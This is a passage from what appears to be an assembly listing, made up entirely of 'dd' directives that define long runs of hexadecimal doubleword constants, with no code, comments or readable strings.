0A888BFB0h, 77540A2Eh, 0AFB8F32Fh, 0CF17AC35h, 0A500AFE2h dd 544C3DE5h, 0B2134E16h, 0A8B8318Bh, 640628Fh, 79C0E39Eh dd 0B27F3900h, 84289BD2h, 0FF6A2F5Fh, 0D278C473h, 382A0006h dd 9597E303h, 65208529h, 80F19918h, 8C5F2C0h, 0B572E292h dd 88BA2E16h, 30A14705h, 80439EFBh, 0DE8BAEEDh, 0EE1009BBh dd 0A45B35A9h, 12480411h, 251D2110h, 0D46B0h, 0CD705EDAh dd 0A5BD29C1h, 52E6BBCFh, 0E138AF18h, 71E4801Fh, 0D74004B4h dd 2C6DC0h, 0B38E2030h, 5E0C38DDh, 0DE4D3224h, 5BBFEB84h dd 0C476BEADh, 0AD60B739h, 548927BAh, 69795069h, 0E0D2A912h dd 0BD13C7B3h, 0B645251h, 93D766DDh, 0F76C09E8h, 0BF58D6FCh dd 3FD979A1h, 221D91D1h, 0A5C33009h, 34E6215Bh, 0BF65126h dd 5D025F6Eh, 0BF002B31h, 4C487B73h, 5910F135h, 7E804A2Ah dd 5179B509h, 1C410910h, 0C87F74B7h, 0F58812BEh, 0D436BE9h dd 9828F51h, 0D507F98Dh, 0D9D232CEh, 252275A2h, 0DF670B5Ch dd 1318A5D4h, 21BE31FEh, 3E8B606Fh, 88EA3EB1h, 0EEAF8764h dd 0B033FA1h, 72C0EF4Ch, 9C82F492h, 0E42F3071h, 40106F02h dd 29AB0F55h, 57EE2312h, 0C24B73B3h, 7055B99Ah, 0DC6A9E13h dd 0B51201E2h, 8FA80995h, 3582518Bh, 5F0716FDh, 4BD78190h dd 78EB1C5Bh, 173D2DB8h, 8A768B81h, 0A07F2BDEh, 2A4BC1FBh dd 0B5E3EBFDh, 6F0711A1h, 0FEF5E8E6h, 1E5D1D45h, 0E33B62CDh dd 0C14A7312h, 16A257A6h, 6970D731h, 69669CFCh, 0FE01CC44h dd 80D584EEh, 0A63F1810h, 67A302E3h, 56AB2107h, 7DF6E96Bh dd 0CD3700D4h, 7F85C2AEh, 0CA25456Eh, 2FEEDE29h, 8AE23CE5h dd 1589DFDDh, 60444651h, 0C118DEABh, 8E1A76EFh, 27652ADCh dd 7E480C5Bh, 3AE1B818h, 72F30B70h, 366A0797h, 2783C607h dd 59597977h, 9DD2299Dh, 0B152FD27h, 0E1FF0108h, 645D7860h dd 66E8311Fh, 24596189h, 47842h, 0FE9ACB81h, 651E2825h dd 4800E15h, 4F6FFB13h, 0BFBA7601h, 0FE3A6CC8h, 1B500F56h dd 0CB4EBD04h, 0A1B1604Bh, 894FD73Eh, 56C058CDh, 993F24Eh dd 0E311C5D5h, 0F696F750h, 0AEA201DCh, 0B52960A9h, 4C1B7D4Dh dd 0F91F2FD6h, 0DEBB81B0h, 2A7F0B70h, 9677FA48h, 83908860h dd 16A3DB06h, 76ECD1D3h, 6B51890Dh, 0FB5F0BC2h, 514DA542h dd 0A720DF40h, 0BF1D0282h, 0C2C0F21h, 0A384F680h, 0BA953B9Dh dd 503B5331h, 0C200DB34h, 35B36630h, 2777F967h, 0DF645250h dd 15E54D1Ch, 0CA79E3C7h, 0B6024C30h, 41F00BEh, 8D060F7Ah dd 0EA97EB6Eh, 711073EFh, 2FDC68Ch, 59235DF3h, 181AF9A5h dd 601E0063h, 0A6878897h, 56E87A68h, 0BB66BD05h, 81F03751h dd 0C87C1785h, 0AA56EC42h, 5B23C40Eh, 0BAB11CA1h, 43A03B81h dd 4DE59F62h, 1296AC50h, 30953D84h, 0D38AF63Dh, 9B0FC51Eh dd 1701F4CEh, 0C76FFAh, 9529A521h, 509B4C6Ah, 4F7DC0D2h dd 3B72F722h, 30B11201h, 0ACF174FFh, 0CCA90915h, 49A25E31h dd 7B971A50h, 0B9C1D8CFh, 76B1201Fh, 603EFAC0h, 505D8509h dd 0B26D301Bh, 0E2615AFEh, 2BC20085h, 90A234CCh, 6809003Dh dd 56D0046Dh, 0E253259h, 64436DFFh, 0C19B631Ah, 0F2F331F1h dd 89385D1Ch, 362629D3h, 0DD89EC89h, 0DEA1541Ah, 9B001C46h dd 93B41A74h, 6C095C57h, 0FD468979h, 1B8B5137h, 0CE187529h dd 370041BBh, 96F95426h, 0E85031B7h, 85C30481h, 0AC7B5952h dd 95B75E43h, 0F7182AB0h, 0D9EECD0Eh, 683EE014h, 5A514EB0h dd 0FB9E2003h, 9D008A60h, 961CE9D0h, 4A36BC34h, 59EAD71h dd 34E4D4Fh, 0CEB78Ch, 8FC64B31h, 8CEE36C3h, 0BF5B4628h dd 0FB32ED2Fh, 1CA299h, 0BCC43E1Ah, 630E6EA6h, 0B2254279h dd 0D0EB4290h, 0AD89753h, 61FCB61Fh, 90376Dh, 0C97CC52Eh dd 731AC413h, 635A53BAh, 0C5C000Fh, 0CEE38182h, 7B4D0111h dd 0C0F99446h, 9B26F169h, 61E225DCh, 90A58165h, 42D672h dd 8448F64Fh, 39B6D77Fh, 0E7B40E05h, 8030F3CFh, 26287Dh dd 7AA39FDCh, 3E671454h, 9FD91495h, 68BBB420h, 7D1AFEB8h dd 0DF123DE9h, 0E9E590EDh, 16D5CF04h, 0AEA1A312h, 0E5B58904h dd 16DA222Ah, 6FE13174h, 0A225906Fh, 0C11629C2h, 0EF030525h dd 0ADAA40EBh, 4D4AD4D7h, 11FF0E3h, 9C041795h, 85123187h dd 39A823F9h, 0A876BDB5h, 0BF9A025Bh, 7A2AC0D8h, 8B397840h dd 643A4D95h, 0BDE56017h, 8B5A121Eh, 699EB3DEh, 11EB7E10h dd 815B7609h, 0A192BFB9h, 0F0FE26ABh, 0FEBAB297h, 6BE32E37h dd 346A0927h, 55E9F6h, 0BC8B0F35h, 8927263Fh, 0ADF576BDh dd 0B6CBAAC0h, 0FCF7BA95h, 1D15D42Ch, 9DBE6121h, 0BEB3F892h dd 81125758h, 0C454A90Ch, 0D8BFD9B7h, 4428C85h, 737DBB09h dd 0F1805A58h, 0EB9F9DB9h, 0E294BF38h, 0D8D19E82h, 211895DDh dd 712FBD33h, 97F4EE30h, 61079FB7h, 52E1C675h, 44B2519Ah dd 72451CD1h, 6FEF023Dh, 0D95890A8h, 0BB9680DFh, 15C54C2Ah dd 0C489E09Dh, 0E03A4FA5h, 1E56AD78h, 76175E25h, 0E20A0CDh dd 9E1495FEh, 2A313B44h, 2E44DB5h, 97FDBB50h, 4B4A0E8Eh dd 4F80F1B7h, 2F5F272Ah, 18E77181h, 0B46EC8C7h, 2F852EB1h dd 4CD4849Ah, 0FEEEB809h, 1846D6B2h, 3EB89D03h, 56098CDAh dd 514828E3h, 89899D6Dh, 42511CC1h, 0D19E33CEh, 7FC503C0h dd 77DDCAEh, 58E65425h, 0CB095F16h, 0F5A64A3Fh, 0CAF145A0h dd 74BD6B0Eh, 0C8E8E1B4h, 40698D31h, 0F6D0C626h, 2DDCF8B7h dd 0D90491A2h, 0F06DA833h, 5C4775BBh, 0A60E7FE1h, 0E637FFF4h dd 0FBE474h, 0DCD5785Ch, 7F021994h, 0B7C18BFCh, 704CDF89h dd 1895FFF2h, 0A76BF8Ah, 5370CF0Ah, 0B8108B2h, 60EC5B12h dd 0F85A4A73h, 0E861CBC1h, 9FE2983Ah, 5A255CC6h, 0A7E8D158h dd 1741C8F8h, 0DC92C63Bh, 3EEB96B2h, 0C7F75CB6h, 1C6EF02Eh dd 9D25330Dh, 73A04461h, 44BF8CF6h, 0B8904A53h, 0BCBE6C1Bh dd 0E6544FCCh, 0E868F0ACh, 0A2A37395h, 31C89E5h, 49B5279Ah dd 8DBCE650h, 0BFEC4E5Ah, 0AA16D45Fh, 71F0F8E6h, 0D90A6E8Bh dd 0B876E494h, 5B3FE12h, 17B24Ah, 771AC9B5h, 5B4FAA0Eh dd 7ECCA14Eh, 1DC817DAh, 0A090FC0h, 923700ADh, 9A689087h dd 6D95D1FFh, 0B6B4C0C9h, 6D806BA8h, 8F99830Fh, 0B3278902h dd 4426593Dh, 6AF84284h, 70AB5B02h, 904A4B7Dh, 0A25EF7B3h dd 2DB95F62h, 6762ED80h dd 9977F22Ch, 0D505F302h, 555F61A7h, 802FF9D1h, 51BF56D8h dd 6270EA57h, 0D88B1C5Fh, 0F3F58B7Fh, 855F701Ch, 38A7CA26h dd 28AE6D13h, 5F09B7B5h, 590F1BE9h, 8E096E3Ah, 0D63E9B08h dd 0A4C18809h, 70ADD36Ah, 15095EB9h, 0FFF50E28h, 3557A53Ah dd 72F10988h, 2BA1EF01h, 4DC96A50h, 8A3F21FDh, 0F0FF56BFh dd 25C2BF2h, 0DBD8F4E0h, 0C6F803A6h, 1100B7BFh, 843C8914h dd 294106B5h, 2F32ED95h, 9AD362E2h, 0DAE181C0h, 0F120CB65h dd 0D63B5C53h, 6AA4F45Fh, 0BCD4FF59h, 7473009Eh, 0A2B22F52h dd 3CB8926Eh, 64FC52B7h, 0FE2D642Bh, 56C2FB29h, 2B5D4260h dd 27DE5C12h, 0D121EEDAh, 0EDFC1421h, 0B4F99712h, 0C98ADE3Dh dd 267F25E6h, 7BF556FBh, 0B25FB1B7h, 0B18D003Bh, 75F730B9h dd 0EDC800FCh, 82B2E55h, 785F6E88h, 0AB6AC8h, 69B57315h dd 0F3B6417Dh, 934CE200h, 57D2368Fh, 0DCB3B05Fh, 0F829D382h dd 58F589FFh, 6DE2805Bh, 0C82B802Fh, 0B1F1F1B7h, 71E2DA6h dd 12E0D166h, 0B6E9096Fh, 10212228h, 9110185h, 0FF65C380h dd 0C879F22h, 0C5B094FDh, 0A922E994h, 81BD937Ah, 0C969429Ah dd 72482BF8h, 8529860Bh, 0E9287DE5h, 0F8B72B28h, 4A43815Ch dd 166B222Bh, 12A52A2Fh, 9E26FE19h, 5F024D31h, 0C15C56F5h dd 3F0B0DC1h, 80CCFD9Bh, 51028F18h, 0BD011EAEh, 4F865011h dd 378E2060h, 0B6703C75h, 0D9CD1802h, 5552D129h, 0F6076CE4h dd 88DF4CEEh, 96929421h, 0F21AA1F4h, 0E2620236h, 6A612CA5h dd 1DEDDBA2h, 0E9B5EDF5h, 0A40026ECh, 5A0F9EFAh, 0A265B454h dd 0F9217FDBh, 0C2084DB9h, 0F8402AEFh, 1023102Eh, 6418E59Dh dd 0FA94455Eh, 0E64AB1A8h, 8DBEE573h, 9DB03B4Dh, 2AD0B006h dd 4ABEDD8Dh, 4B646EFCh, 0BF3B13B8h, 0A397B184h, 0DA09C1F2h dd 0C02BC88Bh, 0B15BFA0h, 3BB8BA81h, 1FD9CF4Ah, 0EDADEF80h dd 86E6C05Ch, 0FD00B914h, 92A510A3h, 258CB7DDh, 0C2F6880Dh dd 3CF602F6h, 3129BD09h, 2320B97Fh, 971EF5F0h, 0F6B1A2F3h dd 2F2B3135h, 0DE4E7F9Dh, 34875DDBh, 1EFC30DDh, 4D04D54Bh dd 0E7B3B223h, 45A2C1ACh, 8985129h, 0DB8713E8h, 918044CCh dd 8CF9FAh, 6684417Bh, 213B545Fh, 5F02173Bh, 230098F2h dd 26E5C42Dh, 0C6136537h, 3ABD5B71h, 0CD5F4A75h, 55C76EB5h dd 3FF1258h, 98162C16h, 0A1A6AC84h, 9E2F04ECh, 5934802Ah dd 0B1D99B0h, 0F8F653ACh, 8300F75h, 51122Fh, 754CF17Eh dd 9495615Bh, 4FC743D3h, 0A5A09DF6h, 0BB128CB9h, 0DA88FFEEh dd 1018010Dh, 0ACCF5A40h, 0C0CD3EE5h, 5FFA9641h, 1B7A36Bh dd 4490B3F3h, 8CC8A16Ch, 0CC1A009Ch, 0FA74375h, 8512916Dh dd 0EDB59D89h, 55621F47h, 52515C12h, 26120F56h, 1987BFEh dd 8B88B867h, 6E2F60FEh, 0D3740A70h, 2518C58Fh, 259D2999h dd 1F511D55h, 92850909h, 2D025614h, 0BF707EDBh, 0EA1D1677h dd 0F4CF0253h, 0B27C5B9Ah, 5A9D8969h, 18F272Ah, 98D142F3h dd 7DA34ECh, 8DC89CBAh, 667079F0h, 974C1641h, 508701D2h dd 43440580h, 0A70D064h, 0F2951298h, 9A5B5F89h, 0C01AC896h dd 0BFDEE5ECh, 3D892617h, 858304BEh, 7829FF2Ch, 0B886C82Bh dd 664A137Ch, 0E28B54AFh, 9E83E51Bh, 902117C2h, 35A88D0Fh dd 76B7258Dh, 9BD7EB7h, 5FC61C39h, 0A2009F3Dh, 0F8A7A677h dd 326F0A23h, 0F7CBB4h, 9068FC2Ah, 0EA627C88h, 5C1BE312h dd 7B6F0235h, 0B77715A2h, 649402DCh, 105D5B84h, 72DA860h dd 0EFAFEE6Bh, 30EA707Fh, 9D001CDEh, 5DF78053h, 27BD335Fh dd 90DB0B09h, 0FFBBB81h, 9A2A50DBh, 0C214C87Eh, 6AE2E9DBh dd 0EBD55h, 0D454BAE2h, 8A0B69A8h, 54B4115Ch, 0E7161251h dd 0CB6E4B42h, 49D31F17h, 5F711694h, 3F35E361h, 0EA59132Eh dd 7A02377Bh, 0B10326E9h, 14356DE1h, 0FAD738ACh, 17319B08h dd 436FEE89h, 0D40E9900h, 19CC7E2Ah, 0F5A18716h, 2925B5E8h dd 9CA136CEh, 8F62171Ah, 0E0175614h, 1188453h, 98736201h dd 58EE4AF8h, 2B6CB52Ah, 96F53205h, 85661944h, 0A1D52580h dd 170A0EFBh, 3981DD25h, 2B50E12Ah, 0C293C8B8h, 79C1159Fh dd 6E6E6A96h, 0E10F3912h, 0ECB1793Fh, 0B0332449h, 0B7D00005h dd 0B57368F0h, 0BBF12C01h, 27E40537h, 0A8CD624h, 2B0EF24Eh dd 0E70B12D7h, 76BB0021h, 3121B0BCh, 2EC125BDh, 75931257h dd 22307441h, 4F4194BBh, 611F82AEh, 0C38E4D5Dh, 0B2EC3DD8h dd 0FD730743h, 44808B25h, 67CDE6h, 3558D701h, 7E3B7BFEh dd 0FAF8534Fh, 980200BAh, 0EE450A91h, 53949521h, 0DB973270h dd 4C77D0AEh, 68021671h, 9D238AD0h, 91C1FE25h, 0FEBB0220h dd 0FF6950FCh, 7BD2A41Dh, 97F5019h, 29371A03h, 947ED777h dd 0C68070E8h, 0C932823Ah, 40AF3900h, 0F61DAB03h, 59FB090Eh dd 4B712B6Dh, 0D504C242h, 0DD14423Dh, 499B1F5h, 0A05CF72Fh dd 3E47C457h, 0C55CE4DDh, 9C214A72h, 81025352h, 0AC0D3AF3h dd 0CA14FF6Eh, 4553CD9Fh, 6A8CFA20h, 0B60997F8h, 6D2D4559h dd 0D15EE2BDh, 0C7971075h, 9D6000A4h, 0B0B313FEh, 64E4FA53h dd 8A521897h, 2E8081DDh, 2FDA4C32h, 0FB128189h, 6F0AFC19h dd 85008FF2h, 0A0CEA78Ch, 1209FD0Eh, 56902B56h, 1646D67Eh dd 733CE00Bh, 2BD9BD82h, 97C516FFh, 0AD016A35h, 0C758509h dd 3A8DC92Eh, 2AAADD84h, 0CCFA9229h, 6E95BFB2h, 5967B323h dd 0D4B13E71h, 0EEE8303Ah, 8913A765h, 0DF2451B5h, 342B35B1h dd 1B88AB91h, 0E2255BADh, 5C6BD6F4h, 0E1F61812h, 0DB6E3FABh dd 0BF673000h, 3206BB1h, 7BC90997h, 30270D8h, 621BD10h dd 96658640h, 0F8F327F8h, 0B5181C59h, 5D7AC201h, 0B0400628h dd 5F38F5CDh, 1DD27480h, 6A023657h, 820F136Fh, 78BF2005h dd 294FF2B0h, 608F56FDh, 0F8B77562h, 5274B4C2h, 98774BDEh dd 0F85EBFF4h, 46A0F5CAh, 3901C7D2h, 0A7C270CDh, 59681DD4h dd 0F7EB8101h, 740218CCh, 224D8E9Bh, 64F84E0Ah, 21E7580h dd 27034B60h, 587A4F16h, 72A1993Eh, 0C33A5849h, 9B45DC0h dd 0E9B1FE5Fh, 4D4147Ch, 0C02F104Dh, 0A56EBC55h, 0EE9312FBh dd 80803ADBh, 0C6CC9D0Eh, 6F6C4A00h, 0BB505A85h, 0AFE415A8h dd 0FC4E8227h, 512D252Ah, 0A7F369DFh, 0BDC850h, 89FD2F43h dd 0FC13D27Ah, 0A70CFB9Fh, 9909D6B5h, 0A18F0236h, 8DC60E23h dd 0FC4CB551h, 8B01ABD1h, 0E78098C7h, 1ADD2A9Ah, 9AA85829h dd 0A094A51Ch, 9FC4AFh, 8DBDFADDh, 0D1600813h, 24B1CB4Ah dd 35A01C28h, 3400C1F8h, 0FBD1B081h, 384F27DAh, 0F5250905h dd 4D1AF0E5h, 8ECDF736h, 2320BBE0h, 6C840117h, 601BD5E1h dd 31AF428Bh, 1035F40Bh, 0E6612519h, 0F7B713F8h, 0B90C40C6h dd 12DA2ECDh, 3262E1BDh, 0EF803184h, 0B4B9BC41h, 58E0D8B6h dd 3848B3FBh, 2A611006h, 0E91DA04Ah, 30FC5E4Fh, 0D8F09656h dd 3101EB50h, 0B3BC5FFEh, 0C87F1F2Bh, 0CA0EC517h, 26C75E7h dd 5FEFD23Eh, 1F2951B8h, 0C4420895h, 5D271FDEh, 0B04EC133h dd 2A2C82E4h, 619D2260h, 5E4EB50Ah, 0FE8A900Eh, 71FE9750h dd 608FD6Ch, 6F9638Eh, 0BCDCB531h, 9EC284D2h, 5AE38000h dd 0D0FC61BBh, 0DAC40D4Bh, 0F8B8B9BDh, 4BF8FA4Fh, 1898A40h dd 0D4F38101h, 3F64CF5Ah, 1C9CA0F5h, 0EC5BBC21h, 2AF780F7h dd 9EFC43Fh, 9ABCF87Ah, 12759C7Dh, 0AAFD8531h, 70E62E75h dd 5DDE20A7h, 190999E4h, 0FEAA83CAh, 0B2D22FD9h, 7B315BB7h dd 86EF008Fh, 0CD09E993h dd 78C897A0h, 0DF5BB7FAh, 0FADFDBD8h, 2FC79029h, 0C6FB0C39h dd 0D12DE1A5h, 51F15836h, 0F126E07h, 806C30AFh, 949723CBh dd 3E6845E8h, 0D113AEA2h, 0BC5B24DAh, 2630209Dh, 18526A5Fh dd 0D1B15EBFh, 99952313h, 22612D49h, 70082405h, 384D9FF1h dd 0DAABDEC4h, 0CE15C832h, 122DD814h, 0CC7074FEh, 0C7B0839Eh dd 0D14A2D15h, 8AF4E9F6h, 0EC24A23h, 76B8FF25h, 0B32A50F9h dd 73BB8C73h, 5E4BBA73h, 94DE52B4h, 91F004D4h, 0BDFF2212h dd 85E392ADh, 89F5324h, 5F1920CDh, 2C2A1D8h, 0B0DFFF6Ah dd 732FF35Dh, 0DD08582Ah, 5A11AD5Fh, 0F92581E7h, 274455ECh dd 0D958B7h, 0B05B8122h, 0B78434B9h, 185CBC83h, 8185E9B5h dd 529503DBh, 71E43410h, 2D099DF0h, 4D42E6BFh, 1189B6F7h dd 0BD846379h, 66733115h, 28775613h, 98A9FB12h, 63ED782h dd 0C99A5529h, 2B7FAA83h, 199D541Eh, 99D1EC60h, 90178085h dd 10F687D8h, 1D5A7E00h, 3C70C6Fh, 94D500E0h, 0FC61D750h dd 71229531h, 0F8E94F04h, 0C985C239h, 0D9EA0C08h, 0AFB2234Ah dd 0D20FEC4Ah, 0FB213CE2h, 0B2581F11h, 24335510h, 6044FBE9h dd 0B54F98EEh, 6B1EF935h, 50A4D82h, 0E1CCFF61h, 0A3875F0Fh dd 237917CBh, 39886CFDh, 1BA5A8BCh, 5B83FE4Eh, 955F280Fh dd 6C60626Ah, 0A5082201h, 791B090Dh, 0B880342Dh, 45363227h dd 18A9AAC6h, 7C309727h, 0B7C17D3h, 23787AB3h, 52B92DF3h dd 2BDE33E1h, 1119BF21h, 308070h, 0D7FE796Fh, 0B343212Fh dd 51D26002h, 84AE947Bh, 38A091B4h, 824FB55Fh, 62AE1D44h dd 0E5928606h, 4D2E2E98h, 0DA59EE00h, 51C5152Dh, 0E7F61E84h dd 6A5A0011h, 392BA5FBh, 7D3BF00h, 0B95F57FAh, 6109417Dh dd 0EEB34C7Ah, 4D5D8997h, 10D5CB7Bh, 273360E8h, 5FA76185h dd 9D246FC7h, 0FC73A05Dh, 27DC919Eh, 30580376h, 0F690CC9Fh dd 0A0A55D9Dh, 722BE254h, 0E9D229A8h, 654080A9h, 1B341339h dd 0E00063E4h, 76AFFF75h, 0F806D4DAh, 20985EACh, 20A7DE19h dd 17879F00h, 0CE775A18h, 1C0F01F0h, 0E3B72DDCh, 0B49B6AEBh dd 804BDA4Ah, 992E7378h, 0E8CF11F3h, 26AE000Eh, 2805CC4Ah dd 8B0402DEh, 0B55C8E13h, 0FD5942DFh, 0B25F0224h, 0F4AA2739h dd 0F35BDABFh, 2657C570h, 0BC48CBBh, 1045B6Fh, 0AC205715h dd 1D4650FDh, 9196DC7h, 87028B0Eh, 5B050699h, 0DBFF60AAh dd 0CD9DD8BBh, 6017640Dh, 0B750115h, 219D3166h, 861CBF5Ah dd 7325E1F2h, 0D699A6B9h, 31491E2h, 10B955CAh, 293B2205h dd 0A21E0D13h, 7981F41Eh, 0A77E1669h, 668EA00Dh, 90DC13B1h dd 891CA257h, 0F66E5E4Ah, 99C15709h, 27C48401h, 0C50F6412h dd 2B934DFh, 0FB94CBDEh, 9602074h, 8432059Dh, 0F67D9681h dd 0EBAC75Fh, 0B616045Ch, 8D3BF0C5h, 0A99C0851h, 0DE13D74Fh dd 458413A2h, 0A4B7F704h, 0D680E9F8h, 868F6331h, 2E856651h dd 0D6DADD28h, 0A96FAF5Ch, 1CE31A00h, 0EAAD8F50h, 948F9F4h dd 60807C9Bh, 92F70481h, 0BC645EAEh, 4EA65BC3h, 260943E0h dd 0E180A313h, 80309BAAh, 7B31DEDFh, 2DC798B4h, 0F9511CB5h dd 0DC2AE79Ah, 0D302DE41h, 258EBADCh, 57D2E25Eh, 0CD95FC78h dd 6115640Eh, 8A71ED97h, 0BBAF332Eh, 59EB3988h, 0C5F1905Eh dd 0B1B75DD2h, 0FC384119h, 165A8A7Fh, 52C1D98Bh, 7BDF8406h dd 2940E13Fh, 16F72BBBh, 0A8584A33h, 4AC23951h, 6A4FB4E7h dd 2C9324DCh, 0D0AF0900h, 9749636Bh, 2A06EFC1h, 175B13A7h dd 9FF5F8D2h, 303DB584h, 0F03BC6F5h, 0BD976A62h, 169DA67Fh dd 0F250248Dh, 1E7F00A3h, 2F3220E4h, 62A01212h, 273BF5DCh dd 5C69B00Fh, 8016093Eh, 0E51EF8Bh, 0B1F80500h, 6E0BEh dd 254FC7C8h, 0A87921C5h, 976B1412h, 0DE3B6EF1h, 7875C069h dd 1E65AC4Fh, 12BD29EDh, 4E6FF72Ch, 899B22AAh, 2DED45Ch dd 48FAC6FCh, 1D4A1AF8h, 0C296D20Ah, 427DDC8Ah, 2C4F5C81h dd 82BDDEBCh, 5F0379EAh, 1A0042CCh, 0F1BF5FF7h, 0EFF123Ch dd 0CBD5D162h, 0E82B129h, 5F013209h, 8DF4BB96h, 507D12B0h dd 162A1852h, 0FF2494B3h, 5CFE2EB5h, 0ADD2DB72h, 952BC086h dd 7CE56A84h, 0E4AB004Ch, 1169681Fh, 0FA975262h, 7D123B7Eh dd 5EE2F9A5h, 1600FF3Fh, 54E63DC7h, 0B0FE90B0h, 6DC99712h dd 20883A90h, 8E6800D4h, 0CCF2516Bh, 5002E5CDh, 0C065BE60h dd 0BFE88003h, 596179ADh, 0F0BC2A90h, 5F1AB8FCh, 550E31B6h dd 551BD3D3h, 0D984E297h, 29BD894Bh, 0D840C979h, 24EBBB66h dd 0B6B61BFh, 31561ED5h, 21846FEh, 3343A1CDh, 51A35C92h dd 85DE6E2Bh, 0B25D74C0h, 0E92984F8h, 0BD048121h, 3BAE2F0Dh dd 5F57A1ABh, 0CBB85F29h, 2D46604h, 7ABCF5EEh, 0C20447A1h dd 0EF29EDF5h, 0E413E960h, 4E01EBC7h, 1A72BBEDh, 0E34B49D2h dd 0DB6B1235h, 0D4C9807Eh, 5A37484Fh, 2F99B1C7h, 3EA961C4h dd 0C8FB838Bh, 1925F420h, 69D27112h, 0D7506173h, 91F397B4h dd 3309CD2Ch, 59D0419h, 4B0DCAFFh, 35E100A6h, 5919D090h dd 0EDDE2304h, 0FAE2961Bh, 333FEF00h, 0E03DF16Eh, 0B0BD8F00h dd 0D08154FDh, 4E3C056Dh, 0AEBC30F8h, 38B188Ch, 0BB505BFAh dd 52E62B93h, 416EDBCh, 222D90E2h, 0BCDE27F6h, 0F96CC17Eh dd 5DAF87Eh, 240BD618h, 9718A16Ch, 0A44996BBh, 2F21843Fh dd 0ABD37ABDh, 0E22FDBC9h, 273A847h, 89A9630Bh, 0E2BC486h dd 791C298Dh, 0DCCD6947h, 46BC6144h, 5055C04Bh, 0B0336020h dd 320DBC7Ch, 29D661F9h, 0CD5FD4CAh, 671B6432h, 6B5A14F0h dd 7A1C142Dh, 4B72F8F7h, 8AF785F8h, 1FA85BBBh, 0C6F6C580h dd 91BE374Ch, 0BE78B7F4h, 66705101h, 81A85C73h, 6C27DEAFh dd 5EDD81BBh, 389C6A74h, 0DD2F5F69h, 751896A9h, 95EB3BC5h dd 0CF5C9BC5h, 54DB80D7h, 92B9C36h, 2DC98D29h, 0A56637FFh dd 211A5530h, 2DEE4058h, 366402h, 1547CCACh, 65B65BB7h dd 7E121F72h, 2BF77155h, 0A0DFF64Fh, 2706FB9Dh, 0AA822FE1h dd 0E75F03CDh, 296A2F5Bh, 2870A673h, 0A4D0E2ACh, 64BF05BEh dd 0BA5883FCh, 0C4851A2Ah, 8516FC41h, 0C8BFAC3Ch, 7F00A23Ch dd 0E231A7A5h, 4A664492h, 71A3B189h, 3A752E22h, 0F4C0319Ah dd 0DE1B4A0h, 0D48ABB02h, 0D90945AAh, 0A712CD6h, 45742F83h dd 0CD77C160h, 0B4ED2E23h, 6D6E9780h, 7AB555BAh, 343A97B1h dd 0FD523DDBh, 94FC7192h, 634804Fh, 1C320B94h, 0C839D8h dd 114F137Ah, 9497A345h, 7E4E4520h, 2BFDF417h, 1C8C15E8h dd 2FC6E7EAh, 1DECAFCh, 0AE591A73h, 2FDC8AD6h, 0FD41212Dh dd 0E90122F9h, 0FF122EC9h, 0ACE0B0A6h, 6F4E729Bh, 186B34B0h dd 0EC18B93h, 9F137EC7h, 64AE880Fh, 0C1C3ACF8h, 5009F780h dd 437463Fh, 0D71A3C24h, 759265B9h, 4920D6C1h, 2A3520A8h dd 15E81B18h, 5BAF384Ah, 0C05C9B0Bh, 10BAE66Bh, 1C3F0132h dd 0F4D512Ch, 48732D86h, 0F792DA39h, 1953B120h, 17127A3Ch dd 0FBE14895h, 0C075DB3Ah, 4902519Bh, 0E0FE1298h, 0F8710B50h dd 40D42189h, 4BC96440h, 1D8B003Eh, 0D460E516h, 119CB194h dd 57AB6D40h, 97C59F04h, 5F515E07h, 0AF20E41Ah, 12B79Dh dd 59D17EC9h, 460BA8EBh, 2A26CEFh, 5715E13Dh, 0F0AC8B0h dd 81A7163Ch, 0BF84401Ah, 1FD4E3E5h, 6AFC2F5Bh, 74DE01FCh dd 729E1EAFh, 4ED1794h, 14039973h, 0D1C90635h, 0A15C7B61h dd 64170B39h, 0C29DFC87h, 5E8CDBCBh, 37DDA52Bh, 0CA928142h dd 2E52DE4Eh, 9A2F359Dh dd 2A4983E0h, 9BAFD011h, 2D7890D7h, 4AFE2F75h, 0D6D868h dd 956D8B6Eh, 1BC91456h, 0B7104B09h, 191ED596h, 0C2209145h dd 0FC054B49h, 77BDD2F4h, 0DFFE9EA8h, 12C8E04Fh, 457204A9h dd 0EE0751C6h, 0C150A773h, 286B8D0Fh, 0C801CA31h, 8E179D7Bh dd 2F4BE78h, 0B40907F1h, 0A9708398h, 9DBC905Fh, 1D09BF25h dd 1B5989F3h, 0DDAAF019h, 0A40EA904h, 8AE6DB9h, 0E9091ACFh dd 0F11C55E3h, 2DAF4220h, 844890Fh, 2E2C1A00h, 0E6E78109h dd 79EB0947h, 52DBFD8Ah, 7B2F4D89h, 8844A566h, 0CEC15200h dd 0AF147CDAh, 0DEA40075h, 17D9C3A8h, 971385EAh, 0CFC85057h dd 796B0096h, 0F293E102h, 52E40626h, 54223900h, 8BCD429Ch dd 0C60975Bh, 82017EBBh, 310F3EFBh, 0F42AD2B3h, 9927BFFFh dd 838CB7D5h, 6F01CFE5h, 6F4EDB81h, 5DA95AC2h, 337D6316h dd 959DDAB7h, 1DC442EDh, 5CAD2160h, 32F48201h, 133489Bh dd 0F88BB27Dh, 0F9BB9855h, 0C97900B0h, 8EC112F6h, 55125742h dd 49FF8D01h, 8B755EDDh, 734C180Fh, 0BD4A2851h, 976171FEh dd 76C2EA9Ah, 7F0B2B7Dh, 0B93FB03Dh, 76566B86h, 32C94210h dd 7349DD7Ch, 532B11F3h, 0FFE200A0h, 8FAD52B2h, 0FCB73B20h dd 91BAA180h, 2E9CE0B4h, 8F45E9Dh, 0E6092AF9h, 16F5970h dd 0FD171264h, 0A379FC61h, 68C0EC00h, 3AF970EAh, 27159E4h dd 7460827h, 2BE2E75Ah, 0D7BAB897h, 0B1E521FEh, 289A1D08h dd 24C21709h, 0E910E0D5h, 97E77870h, 61138EF1h, 886A19A1h dd 9F00CD0Ah, 0D8158E6Ah, 666312h, 1101993Ch, 0BEA64C27h dd 0F97A0F12h, 71C492EFh, 2E80C810h, 9D626DF3h, 0D18B89CEh dd 0FFA019F1h, 1E1D8518h, 16F6B7C3h, 3071E961h, 215EF32Eh dd 862428D3h, 0A4511BBCh, 0E10E86B4h, 18482F10h, 9578AD18h dd 0DCA58B96h, 41E94272h, 4ABF3081h, 0FF7A87A8h, 33C8D8Bh dd 35C2A057h, 3A5B8133h, 29230D22h, 8A99BFDh, 0A583DE40h dd 4150FE42h, 5B469545h, 55527F8h, 0DA5358FEh, 0BB716030h dd 0F0051259h, 0BD6D121Ah, 0C39AD321h, 4CB49D80h, 0C7016D3Dh dd 0B940349Ah, 0D006106Ch, 2FF5FC39h, 257EC48Bh, 8F37C02Bh dd 8C839401h, 